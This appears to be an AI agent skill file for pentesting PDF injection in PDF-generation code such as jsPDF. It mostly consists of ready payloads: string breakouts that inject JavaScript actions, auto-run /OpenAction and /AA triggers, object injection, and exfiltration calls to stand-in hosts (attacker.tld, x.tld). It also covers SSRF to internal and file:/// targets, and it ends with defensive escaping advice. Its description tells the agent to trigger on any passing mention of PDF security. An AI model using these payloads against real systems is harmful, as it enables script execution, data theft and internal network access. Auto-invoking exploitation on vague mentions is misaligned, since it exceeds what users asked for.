| name | pdf-injection-pentest |
| description | PDF injection vulnerability testing and exploitation. Use this skill whenever you need to test for PDF injection vulnerabilities, craft PDF injection payloads, analyze PDF structures for injection points, or assess PDF generation libraries for security issues. Trigger this skill for any task involving PDF security, PDF XSS, PDF-based SSRF, or when reviewing code that generates PDFs from user input. Don't forget to use this skill even if the user just mentions "PDF security" or "PDF vulnerabilities" without explicitly asking for injection testing. |
PDF Injection Pentesting Skill
A comprehensive skill for identifying, exploiting, and defending against PDF injection vulnerabilities. PDF syntax is extremely permissive—if you can break out of a string or dictionary embedding user input, you can inject new objects that PDF viewers will execute.
When to Use This Skill
Use this skill when:
- Testing applications that generate PDFs from user-controlled input
- Investigating reflected input inside PDF files
- Crafting payloads for PDF-based XSS or SSRF
- Reviewing PDF generation libraries (jsPDF, node-qpdf, etc.)
- Analyzing PDF structures for injection points
- Assessing bug bounty targets with PDF generation features
- Needing to exfiltrate data through PDF viewers
Core Attack Workflow
Step 1: Identify Injection Points
Look for user-controlled values that end up inside:
- Parenthesis strings:
(user_input)
- URI fields:
/URI (https://...user_input...)
- JavaScript fields:
/JS (app.alert(user_input))
- Annotation dictionaries
- Form field values
Common vulnerable patterns:
doc.text(userInput, 50, 50)
doc.addJS(userInput)
canvas.drawString(100, 100, user_input)
Step 2: Craft Injection Payloads
The key is closing the original string/dictionary and injecting new PDF objects.
Basic string escape:
) ) /A << /S /JavaScript /JS (app.alert("XSS")) >> (
Complete payload structure:
- Close the original string:
)
- Add space or newline
- Inject your action/object
- Reopen string to maintain validity:
(
Step 3: Deliver and Execute
- Direct delivery: Send malicious PDF to victim
- Blind exploitation: Target backend services that render PDFs
- Link hijacking: Inject into
/Link annotations for click-triggered execution
Payload Primitives
JavaScript Execution on Open
/OpenAction << /S /JavaScript /JS (app.alert("PDF pwned")) >>
Works in: Acrobat Reader, Adobe Reader
Does NOT work in: Chrome PDFium (sandboxed)
JavaScript on Link Click
/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>
Works in: PDFium (Chrome/Edge), Acrobat
Requires: Control over a /Link annotation
Blind Data Exfiltration
<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)
Combine with JavaScript to extract content:
this.getPageNthWord(0, 0, 0)
Server-Side SSRF
/URI (https://internal-service.local/admin)
Use case: When backend services render PDFs and honor /URI actions
Additional Actions (/AA) Injection
) >> /AA << /O << /S /JavaScript /JS (app.alert('AA fired')) >> >> (
Triggers on: Document open, focus events
Target: Catalog, Page, Annotation, or Form dictionaries
Full Object Injection (with newlines)
\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj\n
Requires: Ability to inject newline characters
Power: Can create completely new PDF objects
Blind Enumeration (Gareth Heyes)
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
Purpose: Enumerate all objects in unknown PDF
Output: JSON-ish dump via outbound requests
Real-World Vulnerability Patterns
CVE-2026-25755 (jsPDF addJS)
Vulnerability: Unsanitized input in addJS() method
Injection: Close JS literal, inject /AA → /O → /JavaScript
Impact: JavaScript execution on open/focus
Exploitation:
doc.addJS(userInput)
) /AA << /O << /S /JavaScript /JS (malicious_code) >> >> (
CVE-2024-4367 (PDF.js)
Vulnerability: Sandbox bypass in Firefox PDF.js < 4.2.67
Injection: Crafted /JavaScript action
Impact: Arbitrary JavaScript execution
Invoice Note Injection (Bug Bounty 2024)
Vulnerability: Customer notes in /URI field
Injection: ) /URI (https://attacker.tld/?ssrf=internal) (
Impact: SSRF to internal metadata host
Reward: $10,000
Testing Methodology
Phase 1: Reconnaissance
-
Identify PDF generation endpoints
- Invoice generation
- Report exports
- Document downloads
- Certificate generation
-
Map user input to PDF output
- Submit test values with special characters
- Look for:
), \, (, <<, >>
- Check if input appears in PDF structure
-
Determine PDF viewer context
- Client-side rendering (Chrome, Firefox, Acrobat)
- Server-side rendering (backend services)
- Automatic processing (email attachments, document management)
Phase 2: Injection Testing
-
Test string escape sequences
Test: ) ( → Check if breaks out of string
Test: \) ( → Check if backslash escapes
Test: )\n( → Check if newline injection works
-
Test action injection
Payload: ) /A << /S /JavaScript /JS (app.alert(1)) >> (
Expected: Alert on link click or document open
-
Test object injection
Payload: )\n10 0 obj\n<< /Type /Action /S /JavaScript /JS (app.alert(1)) >>\nendobj\n(
Expected: New object in PDF structure
Phase 3: Exploitation
-
For XSS:
- Use
/JavaScript actions
- Target Acrobat for full API access
- Use
this.getPageNthWord() for content extraction
-
For SSRF:
- Use
/URI actions with internal URLs
- Target backend PDF rendering services
- Use
file:/// scheme for local file access
-
For Blind Bugs:
- Use outbound HTTP requests in JavaScript
- Use
submitForm() to exfiltrate data
- Use enumeration payload for structure discovery
Defensive Recommendations
For Developers
-
Never concatenate raw user input in PDF strings
doc.text(userInput, 50, 50)
doc.text(escapePDF(userInput), 50, 50)
-
Use hex strings for untrusted content
<48656C6C6F> instead of (Hello)
-
Escape special characters per PDF spec §7.3
\ → \\
( → \(
) → \)
- Newlines →
\n
-
Validate and sanitize action dictionaries
- Strip
/OpenAction, /AA, /Launch, /SubmitForm, /ImportData
- Block
javascript: URI schemes
-
Use safe PDF libraries
- Keep jsPDF, reportlab, qpdf updated
- Review library changelogs for security fixes
For Security Teams
-
Post-process untrusted PDFs
qpdf --decrypt --linearize untrusted.pdf cleaned.pdf
-
Render with headless converters
- Remove JavaScript and external actions
- Use sandboxed environments
-
Keep viewers updated
- PDF.js ≥ 4.2.67
- Acrobat Reader ≥ July 2024 patches
- Chrome/Edge PDFium (auto-updates)
-
Monitor for exploitation
- Watch for outbound requests from PDF viewers
- Log PDF generation with user input
- Alert on unusual PDF structures
Quick Reference
| Goal | Payload | Viewer Support |
|---|
| Alert on open | /OpenAction << /S /JavaScript /JS (app.alert(1)) >> | Acrobat only |
| Alert on click | /A << /S /JavaScript /JS (app.alert(1)) >> | All viewers |
| Data exfil | this.submitForm('https://x.tld?'+data) | Acrobat |
| SSRF | /URI (https://internal.local) | Backend renderers |
| Object injection | \nendobj\n10 0 obj\n<<...>>\nendobj\n | All (if newlines allowed) |
| Enumeration | for(i in this){this.submitForm(...)}catch(e){} | Acrobat |
References
- PortSwigger: "Portable Data exFiltration – XSS for PDFs" (May 2024)
- Dawid Ryłko: "CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js" (Apr 2024)
- GitLab Advisory: "CVE-2026-25755: jsPDF PDF Object Injection" (Feb 2026)
- PDF Specification §7.3: Text String Objects
- Adobe Acrobat Help: Embedded Action Signing Warning (Sep 2025)
Next Steps
After identifying a PDF injection vulnerability:
- Document the injection point and payload
- Test across multiple PDF viewers
- Assess impact (XSS, SSRF, data exfiltration)
- Provide remediation guidance
- Consider blind exploitation if direct testing isn't possible